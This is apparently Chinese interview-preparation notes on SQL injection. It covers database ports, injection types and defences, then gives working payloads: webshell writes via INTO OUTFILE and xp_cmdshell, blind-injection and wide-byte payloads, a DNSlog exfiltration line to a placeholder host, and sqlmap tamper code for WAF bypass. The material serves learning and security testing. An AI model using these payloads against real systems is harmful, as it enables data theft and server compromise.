一、知識儲備類
1.SQL與NoSQL的區別?
SQL:關系型數據庫
NoSQL:非關系型數據庫
存儲方式:SQL具有特定的結構表,NoSQL存儲方式靈活
性能:NoSQL較優於SQL
數據類型:SQL適用結構化數據,如賬號密碼;NoSQL適用非結構化數據,如文章、評論
2.常見的關系型數據庫?
mysql、sqlserver、oracle、access、sqlite、postgreSQL
3.常見的數據庫端口?
關系型:
mysql:3306
sqlserver:1433
orecal:1521
PostgreSQL:5432
db2:50000
非關系型:
MongoDB:27017
redis:6379
memcached:11211
4.簡述數據庫的存儲引擎
數據庫存儲引擎是數據庫底層軟件組織,數據庫管理系統(DBMS)使用數據引擎進行創建、查詢、更新和刪除數據。不同的存儲引擎提供不同的存儲機制、索引技巧、鎖定水平等功能,使用不同的存儲引擎,還可以獲得特定的功能。
InnoDB:主流的存儲引擎,mysql默認存儲引擎
MyISAM:查詢、插入速度快,不支持事務
MEMORY:hash索引、BTREE索引
5.SQL注入有哪幾種注入類型?
從注入參數類型分:數字型注入、字符型注入、搜索型注入
從注入方法分:基於報錯、基於布爾盲注、基於時間盲注、聯合查詢、堆疊注入、內聯查詢注入、寬字節注入
從提交方式分:GET注入、POST注入、COOKIE注入、HTTP頭注入
6.SQL注入的危害及防御?
危害:
數據庫泄露
數據庫被破壞
網站崩潰
服務器被植入木馬
防御:
代碼層面對查詢參數進行轉義
預編譯與參數綁定
利用WAF防御
7.如果存在SQL注入怎么判斷不同的數據庫?
根據報錯信息判斷
根據執行函數返回的結果判斷,如len()和lenth(),version()和@@version等
根據注釋符判斷
8.mysql的網站注入,5.0以上和5.0以下有什么區別?
從sql注入的角度來說,mysql5.0以下版本沒有information_schema這個系統庫,無法列出表名列名,只能暴力跑
9.Mysql一個@和兩個@什么區別
一個@是用戶自定義變量
兩個@是系統變量,如@@version、@@user
10.MYSQL注入/繞過常用的函數
注入常用函數:
database() 返回當前數據庫名
user() 返回當前數據庫用戶名
updatexml() 更新xml文檔,常用於報錯注入
mid() 從指定字段中提取出字段的內容
limit() 返回結果中的前幾條數據或者中間的數據
concat() 返回參數產生的字符串
group_concat() 分組拼接函數
count() 返回指定參數的數目
rand() 參數0~1個隨機數
flood() 向下取整
substr() 截取字符串
ascii() 返回字符串的ascii碼
left() 返回字符串最左邊指定個數的字符
ord() 返回字符的ascii碼
length() 返回字符串長度
sleep() 延時函數
等價函數繞過,反之亦可:
group_concat() ==> concat_ws()
sleep() ==> benchmark()
mid()、substr() ==> substring()
user() ==> @@user
updatexml() ==> extractvalue()
11.UDF提權原理?
mysql支持用戶自定義函數,將含有自定義函數的dll放入特定的文件夾,聲明引入dll中的執行函數,使用執行函數執行系統命令
12.MSSQL差異備份原理及條件?
原理:
完整備份后,再次對數據庫進行修改,差異備份會記錄最后的LSN,將shell寫入數據庫,備份成asp即可getshell
條件:
MSSQL具有dbo或sa權限
支持堆疊查詢
找到網站的絕對路徑
二、實操技能類
1.SQL注入寫shell的條件,用法
條件:
當前用戶具有dba權限
找到網站絕對路徑
網站有可寫目錄
mysql的配置secure_file_priv
為空
用法:
mysql:
id=1' and 1=2 union select 1,2,'shell內容' into outfile "絕對路徑\shell.php" %23
sqlserver:
id=1';EXEC master..xp_cmdshell 'echo "shell內容" > 絕對路徑\shell.asp' --
2.sql注入過濾了逗號,怎么弄?
join繞過:
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);
3.sleep被禁用后還能怎么進行sql注入
benchmark代替sleep:
id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(10000000,md5(0x41))),1) --+
笛卡爾積盲注:
select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C)
RLIKE盲注:
select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1)
4.什么是寬字節注入?如何操作?
寬字節注入:
當php開啟gpc或者使用addslashes函數時,單引號
'
被加上反斜杠\'
,其中\
的URL編碼為%5C
,我們傳入%df'
,等價於%df%5C'
,此時若程序的默認字符集是GBK,mysql用GBK編碼時會認為%df%5C
是一個寬字符縗
,於是%df%5C'
便等價於縗'
,產生注入。
操作:
id=1%df' and 1=2 union select 1,2,user(),4 %23
5.怎樣進行盲注速度更快?
DNSlog盲注:
id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),'.your-dnslog.com\\cHr1s'))--+
6.什么是二次注入?
參數傳入的惡意數據在傳入時被轉義,但是在數據庫處理時又被還原並存儲在數據庫中,導致二次注入。
舉例:
注冊用戶名
admin'#
用戶,傳入值為admin\'#
,但是在存儲數據庫時值變為admin'#
,此時若修改密碼為123456
,管理員admin
密碼就被修改為123456
7.sql注入常見的過WAF方法?
內聯注釋繞過
填充大量臟數據繞過
垃圾參數填充繞過
改變提交方式繞過,如GET方式變為POST方式提交
隨機agent頭繞過
fuzz過濾函數,函數替換繞過
8.sqlmap如何編寫tamper?
tamper固定模板如下:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
pass
PROIORITY
用於定義tamper優先級,當調用多個tamper時生效,優先級如下,數值越大優先級越高
- LOWEST = -100
- LOWER = -50
- LOW = -10
- NORMAL = 0
- HIGH = 10
- HIGHER = 50
- HIGHEST = 100
dependencies
用於提示用戶tamper適用范圍,具體代碼如下:
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("過狗tamper '%s' 只針對 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
DBMS.MYSQL
代表MYSQL,其他數據庫類推
Tamper
tamper關鍵函數,用於定義過濾規則,示例代碼如下:
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!29440AND*/')
payload=payload.replace('ORDER','/*!29440order*/')
payload=payload.replace('LIKE USER()','like (user/**/())')
payload=payload.replace('DATABASE()','database/*!29440*/()')
payload=payload.replace('CURRENT_USER()','CURRENT_USER/**/()')
payload=payload.replace('SESSION_USER()','SESSION_USER(%0a)')
payload=payload.replace('UNION ALL SELECT','union/*!29440select*/')
payload=payload.replace('super_priv','/*!29440/**/super_priv*/')
payload=payload.replace('and host=','/*!29440and*/host/*!11440=*/')
payload=payload.replace('BENCHMARK(','BENCHMARK/*!29440*/(')
payload=payload.replace('SLEEP(','sleep/**/(')
return payload
fuzz出具體payload后對關鍵字符進行替換
將上述過程簡單總結來回答hr問題即可